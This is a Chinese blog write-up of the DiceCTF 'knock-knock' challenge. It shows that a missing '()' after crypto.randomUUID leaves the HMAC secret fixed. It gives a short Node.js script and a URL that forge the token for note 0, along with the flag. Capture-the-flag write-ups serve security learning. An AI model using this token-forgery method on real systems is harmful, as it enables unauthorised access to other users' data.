DiceCTF - knock-knock

一道nodejs题目,给了源码和dockerfile,从dockerfile知道nodejs版本为17.4.0,一个pastebin



返回可以进行xss,但是不会返回cookie,所以,审计一下代码

代码逻辑很简单flag在notes[0]位置上,但是由于每个人返回的token不相同,所以想要伪造token切换到id=0看似不可能

可以发现token生成的主要逻辑是依靠两个部分

this.secret = `secret-${crypto.randomUUID}`;
和
return crypto.createHmac('sha256',this.secret).update(id.toString()).digest('hex');

当我想要使用我的nodejs14尝试生成一下secret时发现了异常

于是就去找到了17版本的在线网站,发现了漏洞,nodejs-online

randomUUID缺少()导致this.secret为固定,这也就给了伪造token的机会

所以就可以进行伪造token

const crypto = require('crypto');
let secret = `secret-${crypto.randomUUID}`;
let id = 0;
console.log(crypto.createHmac('sha256', secret).update(id.toString()).digest('hex'));

另一种手动的方法
将错误信息base64编码

console.log(btoa(`secret-${crypto.randomUUID}`));

生成

c2VjcmV0LWZ1bmN0aW9uIHJhbmRvbVVVSUQob3B0aW9ucykgewogIGlmIChvcHRpb25zICE9PSB1bmRlZmluZWQpCiAgICB2YWxpZGF0ZU9iamVjdChvcHRpb25zLCAnb3B0aW9ucycpOwogIGNvbnN0IHsKICAgIGRpc2FibGVFbnRyb3B5Q2FjaGUgPSBmYWxzZSwKICB9ID0gb3B0aW9ucyB8fCB7fTsKCiAgdmFsaWRhdGVCb29sZWFuKGRpc2FibGVFbnRyb3B5Q2FjaGUsICdvcHRpb25zLmRpc2FibGVFbnRyb3B5Q2FjaGUnKTsKCiAgcmV0dXJuIGRpc2FibGVFbnRyb3B5Q2FjaGUgPyBnZXRVbmJ1ZmZlcmVkVVVJRCgpIDogZ2V0QnVmZmVyZWRVVUlEKCk7Cn0=

利用 hmac 伪造token

访问

url/note?id=0&token=7bd881fe5b4dcc6cdafc3e86b4a70e07cfd12b821e09a81b976d451282f6e264

FLAG:dice{1_d00r_y0u_d00r_w3_a11_d00r_f0r_1_d00r}

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值